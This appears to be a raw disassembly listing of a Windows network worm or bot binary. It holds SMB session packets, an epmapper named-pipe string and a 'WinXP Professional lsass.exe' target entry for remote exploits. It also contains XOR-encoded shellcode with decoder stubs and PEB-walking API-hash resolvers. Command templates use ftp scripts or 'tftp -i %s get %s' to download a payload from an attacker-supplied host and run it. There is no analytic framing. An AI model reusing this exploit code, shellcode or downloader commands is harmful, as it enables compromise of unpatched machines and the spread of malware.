off_4274E0 dd offset word_544F42 ; DATA XREF: ___:off_426C68o
unk_4274E4 db 2 ; DATA XREF: sub_402688+2FCo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorRecvFaile db 'Error: recv() failed, returned: <%d>',0
align 4
unk_427528 db 2 ; DATA XREF: sub_402688+2ABo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aSuspiciousSPac db 'Suspicious %s packet from: %s:%d - %s.',0
align 4
aPsniff db '[PSNIFF]',0 ; DATA XREF: sub_402688+235o
align 4
unk_427578 db 2 ; DATA XREF: sub_402688+186o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorWsaioctlF db 'Error: WSAIoctl() failed, returned: <%d>.',0
align 10h
unk_4275C0 db 2 ; DATA XREF: sub_402688+103o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorBindFaile db 'Error: bind() failed, returned: <%d>.',0
align 4
unk_427604 db 2 ; DATA XREF: sub_402688+85o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorSocketF_1 db 'Error: socket() failed, returned: <%d>.',0
dword_427648 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: sub_402DD7+E1o
; sub_402DD7+21Bo
dd 1, 10001h, 1A0h, 0
dd 0C0h, 46000000h, 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_427694 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1
; DATA XREF: sub_402B84+123o
dd 0
dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
dd 1, 0
dd 0D5E70h, 2, 0D5E7Ch, 0
dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
dd 4252414Dh, 1, 0
dd 0BAADF00Dh, 0
dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
dd 0C0h, 46000000h, 338h, 0
dd 0C0h, 46000000h, 0
dd 330h, 328h, 0
dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0
dd 2, 7, 4 dup(0)
dd 0CD28C4h, 0CD2964h, 0
dd 7, 1B9h, 0
dd 0C0h, 46000000h, 1ABh, 0
dd 0C0h, 46000000h, 1A5h, 0
dd 0C0h, 46000000h, 1A6h, 0
dd 0C0h, 46000000h, 1A4h, 0
dd 0C0h, 46000000h, 1ADh, 0
dd 0C0h, 46000000h, 1AAh, 0
dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h
dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
dd 0C0h, 46000000h, 10h, 2 dup(0)
dd 1, 0
dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
dd 4 dup(0)
dd 144318h, 0
dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
dd 0C0h, 46000000h, 33Bh, 0
dd 0C0h, 46000000h, 0
dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h
dd 2, 5 dup(0)
dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0
dd 0DDAD8h, 2 dup(0)
dd 0C2F20h, 2 dup(0)
dd 3, 0
dd 3, 580046h, 0
dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0)
dword_4279F8 dd 20h, 0 ; DATA XREF: sub_402B84+136o
dd 20h, 5C005Ch, 0
off_427A0C dd offset off_43005C ; DATA XREF: sub_402B84+15Do
a12345611111111:
unicode 0, <$\123456111111111111111.doc>,0
dd 0
dword_427A4C dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_402B84+174o
dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx: ; DATA XREF: sub_402B84+45o
unicode 0, <FXNBFXFXNBFXFXFXFX>
dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr db ''
db ''
db '',0
dword_427B5C dd 18759Fh ; DATA XREF: sub_402B84+104o
dword_427B60 dd 100139Dh ; DATA XREF: sub_402B84+FBo
asc_427B64: ; DATA XREF: sub_4029E9+1Co
; sub_402ACC+16o
unicode 0, <\\>,0
align 4
off_427B6C dd offset dword_49005C ; DATA XREF: sub_4029E9+Co
; sub_402ACC+Bo
dd offset off_430050
dd 24h
unk_427B78 db 2 ; DATA XREF: sub_402DD7+299o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 74h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aTransferComple db ' transfer complete to IP: %s',0
align 10h
aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_402DD7+41o
align 8
jmp short loc_427BDA
; =============== S U B R O U T I N E =======================================
sub_427BCA proc far ; CODE XREF: sub_427BCA:loc_427BDAp
pop ebx
dec ebx
xor ecx, ecx
mov cx, 125h
loc_427BD2: ; CODE XREF: sub_427BCA+Cj
xor byte ptr [ebx+ecx], 99h
loop loc_427BD2
jmp short loc_427BDF
; ---------------------------------------------------------------------------
loc_427BDA: ; CODE XREF: ___:00427BC8j
call near ptr sub_427BCA
loc_427BDF: ; CODE XREF: sub_427BCA+Ej
jo short loc_427C43
cdq
cdq
cdq
mov ch, 38h
test eax, 12999999h
fst dword ptr [ebp+3485E912h]
adc dh, cl
xchg eax, ecx
adc ch, [esi-0Dh]
popf
sal byte ptr [ecx+2], 99h
cdq
cdq
jnp short loc_427C61
icebp
stosb
stosd
cdq
cdq
icebp
out dx, al
jmp far ptr 128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
db 71h
dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
adc dl, [ebp-0Dh]
loc_427C43: ; CODE XREF: sub_427BCA:loc_427BDFj
mov eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
dd 7B32C08Ch
db 64h
; ---------------------------------------------------------------------------
loc_427C61: ; CODE XREF: sub_427BCA+35j
pop edi
fnstsw word ptr [ebp-22982277h]
mov ebp, 0BDC510A4h
rcl dword ptr [eax], 1
lds edi, [ebp-423AEF2Bh]
leave
adc al, 0DDh
mov ebp, 0C8C9CD89h
enter 0FFFFF3C8h, 98h
enter 66C8h, 0EFh
test eax, 9DCF66C8h
adc dl, [ebp-0Dh]
db 66h, 66h
test al, 66h
iret
sub_427BCA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
xchg eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dw 6685h
dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h
dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------
loc_427D08: ; DATA XREF: sub_403249+156o
; sub_403249+212o
jmp short loc_427D1A
; =============== S U B R O U T I N E =======================================
sub_427D0A proc near ; CODE XREF: sub_427D0A:loc_427D1Ap
pop edx
dec edx
xor ecx, ecx
mov cx, 17Dh
loc_427D12: ; CODE XREF: sub_427D0A+Cj
xor byte ptr [edx+ecx], 99h
loop loc_427D12
jmp short loc_427D1F
; ---------------------------------------------------------------------------
loc_427D1A: ; CODE XREF: ___:loc_427D08j
call sub_427D0A
loc_427D1F: ; CODE XREF: sub_427D0A+Ej
jo short near ptr dword_427C98+1Eh
cwde
cdq
cdq
retn
sub_427D0A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0FDh, 38h, 0A9h
dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h
dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h
dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
dd 999B9E5Eh
dword_427DB8 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh
; DATA XREF: sub_403249+105o
dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h
dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h
dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_427EA0 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: ___:0040370Do
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_427F2C dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: ___:00403739o
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows2000219:
unicode 0, <Windows 2000 2195>,0
aWindows20005_0:
unicode 0, <Windows 2000 5.0>,0
align 8
dword_427FD8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: ___:00403760o
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_4280B8 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403249+58o
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
aC: ; DATA XREF: sub_403249+8Ao
unicode 0, <C$>,0
a????? db '?????',0
dd 0
dword_42811C dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403249+2AAo
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 0
dword_428188 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403249+2D1o
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42822C dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403249+3B0o
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_4282AC dd offset loc_401493+2 ; DATA XREF: sub_403249+3DEo
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_407079+3
dd 1, 0
dd 1, 0
dd offset loc_407079+3
dd 1, 0
dd 1, 0
dd offset loc_407079+3
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 0
dword_428340 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403249+306o
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 0
dword_4283AC dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403249+331o
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_428420 dd 0 ; DATA XREF: sub_403249+35Fo
dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 3 dup(0)
aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0
align 10h
dword_4284E0 dd 1004600h ; DATA XREF: sub_403249+140r
; sub_403249+245r
dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
dd 6C6C642Eh, 2 dup(0)
dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
dd 70617274h, 6C6C642Eh, 2 dup(0)
dd 751C123Ch, 0Fh dup(0)
dword_428598 dd 0A0D7325h, 0 ; DATA XREF: sub_4030E8+102o
; sub_405144+DFo ...
aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
; DATA XREF: sub_4030E8+BEo
db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
align 4
aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4030E8+97o
; ---------------------------------------------------------------------------
loc_428620: ; DATA XREF: sub_403249+177o
jmp short loc_428628
; ---------------------------------------------------------------------------
jmp short loc_42862A
; ---------------------------------------------------------------------------
align 8
loc_428628: ; CODE XREF: ___:loc_428620j
; DATA XREF: sub_403249+27o
pop esp
pop esp
loc_42862A: ; CODE XREF: ___:00428622j
and eax, 70695C73h
arpl [eax+eax], sp
; ---------------------------------------------------------------------------
dw 0
dword_428634 dd 1CEC8166h ; DATA XREF: sub_403249+Dr
dword_428638 dd 0E4FF07h ; DATA XREF: sub_403249+16r
byte_42863C db 90h ; DATA XREF: sub_403A90+B2o
db 42h, 90h, 42h
db 90h
dd offset word_429042
align 4
dword_428648 dd 10FF8h, 0 ; DATA XREF: sub_403A90+6Ao
dword_428650 dd 10FF8h ; DATA XREF: sub_403A90+79o
dword_428654 dd 7FFDF020h, 0 ; DATA XREF: sub_403A90+162o
dword_42865C dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_403EBA+7Bo
dd 13370000h, 0
dd 2006200h
aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWor_0 db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4286E4 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403EBA+34o
dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_428714 dd 0 ; DATA XREF: sub_403EBA+44o
dd 800000D4h, 0
unk_428720 db 81h ; ; DATA XREF: sub_403F94+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
dd 0
byte_42876C db 41h ; DATA XREF: sub_404032+107r
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 10h
; =============== S U B R O U T I N E =======================================
sub_4287B0 proc near ; DATA XREF: ___:0040430Fo
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_4288AC
push dword ptr [esi]
push 63D61209h
call sub_4288C2
mov [esi+8], eax
call sub_428875
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_4288C2
mov [esi+0Ch], eax
call sub_428827
push dword ptr [esi+4]
push 4C0297FAh
call sub_4288C2
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_4287B0 endp
; =============== S U B R O U T I N E =======================================
sub_428827 proc near ; CODE XREF: sub_4287B0+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_428850
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_428827 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_428850 proc near ; CODE XREF: sub_428827+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_42885F: ; CODE XREF: sub_428850+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_42886C
inc ebx
jmp short loc_42885F
; ---------------------------------------------------------------------------
loc_42886C: ; CODE XREF: sub_428850+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_428850 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_428875 proc near ; CODE XREF: sub_4287B0+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_42888D: ; CODE XREF: sub_428875+1Ej
cmp [ecx], ebx
jz short loc_428895
mov ecx, [ecx]
jmp short loc_42888D
; ---------------------------------------------------------------------------
loc_428895: ; CODE XREF: sub_428875+1Aj
mov edx, edi
loc_428897: ; CODE XREF: sub_428875+2Aj
cmp [edx+4], ebx
jz short loc_4288A1
mov edx, [edx+4]
jmp short loc_428897
; ---------------------------------------------------------------------------
loc_4288A1: ; CODE XREF: sub_428875+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_428875 endp
; =============== S U B R O U T I N E =======================================
sub_4288AC proc near ; CODE XREF: sub_4287B0+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_4288AC endp
; =============== S U B R O U T I N E =======================================
sub_4288C2 proc near ; CODE XREF: sub_4287B0+16p
; sub_4287B0+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_4288D8: ; CODE XREF: sub_4288C2+33j
jecxz short loc_428912
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_4288E5: ; CODE XREF: sub_4288C2+2Dj
lodsb
cmp al, ah
jz short loc_4288F1
ror edi, 0Dh
add edi, eax
jmp short loc_4288E5
; ---------------------------------------------------------------------------
loc_4288F1: ; CODE XREF: sub_4288C2+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_4288D8
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_428912: ; CODE XREF: sub_4288C2:loc_4288D8j
; sub_4288C2:loc_428912j
jmp short loc_428912
sub_4288C2 endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
sub_428918 proc near ; DATA XREF: ___:004042BFo
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_42896A
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_428935: ; CODE XREF: sub_428918+38j
jecxz short loc_428965
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_428940: ; CODE XREF: sub_428918+32j
lodsb
test al, al
jz short loc_42894C
ror edx, 0Dh
add edx, eax
jmp short loc_428940
; ---------------------------------------------------------------------------
loc_42894C: ; CODE XREF: sub_428918+2Bj
cmp edx, [esp+arg_0]
jnz short loc_428935
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_428965: ; CODE XREF: sub_428918:loc_428935j
mov [esp+arg_0], ebx
retn
sub_428918 endp
; =============== S U B R O U T I N E =======================================
sub_42896A proc near ; CODE XREF: sub_428918+7p
; FUNCTION CHUNK AT 004289A2 SIZE 00000007 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_428983
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_42898E
; ---------------------------------------------------------------------------
loc_428983: ; CODE XREF: sub_42896A+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_42898E: ; CODE XREF: sub_42896A+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_4289A2
sub_42896A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_428995 proc near ; CODE XREF: sub_42896A:loc_4289A2p
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_428995 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42896A
loc_4289A2: ; CODE XREF: sub_42896A+29j
call sub_428995
loc_4289A7: ; DATA XREF: sub_403A35+1Bo
; sub_40EE72+822o
add [ebx], ah
; END OF FUNCTION CHUNK FOR sub_42896A
; ---------------------------------------------------------------------------
db 3 dup(0)
dword_4289AC dd 60h ; DATA XREF: sub_403A90+320o
dword_4289B0 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_403A90+2F5o
dword_4289BC dd 30h ; DATA XREF: sub_403A90+2CAo
; ___:0042FA18o
dword_4289C0 dd 0A1h ; DATA XREF: sub_403A90+29Fo
dword_4289C4 dd 3 ; DATA XREF: sub_403A90+246o
aCccc db 'CCCC',0 ; DATA XREF: sub_403A90+153o
align 10h
loc_4289D0: ; DATA XREF: sub_403A90+E8o
jmp short near ptr dword_4289D8
; ---------------------------------------------------------------------------
align 8
dword_4289D8 dd 0 ; CODE XREF: ___:loc_4289D0j
aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
; DATA XREF: ___:004042E4o
; sub_404F9A+92o
db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_428A50 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:00404BFFo
; ---------------------------------------------------------------------------
loc_428A5C: ; CODE XREF: ___:00428A66j
xor dword ptr [ebx+13h], 6AD31EBBh
sub ebx, 0FFFFFFFCh
loop loc_428A5C
inc edi
jz short loc_428AA3
and eax, 952CE753h
inc esp
jle short loc_428ACB
push es
lahf
cmp bl, [eax+2Fh]
xchg edx, [ebp+1FC36FAFh]
cmp al, 0E1h
; ---------------------------------------------------------------------------
dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
lahf
cmps byte ptr ss:[esi], byte ptr es:[edi]
loc_428AA3: ; CODE XREF: ___:00428A69j
mov [eax], esi
inc ecx
imul dword ptr [ebx+50h]
js short near ptr loc_428B02+1
lock xchg ax, bp
; ---------------------------------------------------------------------------
dw 768Ch
dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
dd 0C7CF6E30h
; ---------------------------------------------------------------------------
loc_428AC8: ; CODE XREF: ___:00428AF5j
xor [esi-25h], bl
loc_428ACB: ; CODE XREF: ___:00428A71j
xor al, 0D3h
nop
popf
db 64h
push edi
dec esi
sub al, 0BCh
mov al, ch
mov ch, 39h
fnsave byte ptr [esi-20h]
pop eax
shr dword ptr [ecx-60h], cl
pop eax
in al, 4Ah
sub al, 0BAh
loc_428AE4: ; CODE XREF: ___:00428B17j
rcl ebp, cl
db 3Eh
xchg eax, esi
or byte ptr [esi+2Ch], 0BCh
in al, 97h
db 36h
or al, 3Ah
rep fld tbyte ptr [eax-12h]
jz short loc_428AC8
xchg eax, ebp
imul esi, [esi+0Ah], 63h
dec esi
mov bl, 84h
xchg eax, ebp
insd
dec ebp
loc_428B02: ; CODE XREF: ___:00428AA9j
cmp byte ptr [ecx], 0E8h
dec ebp
nop
cmp eax, edi
dec ebp
sub al, 0BAh
fnsave byte ptr [esi-2Dh]
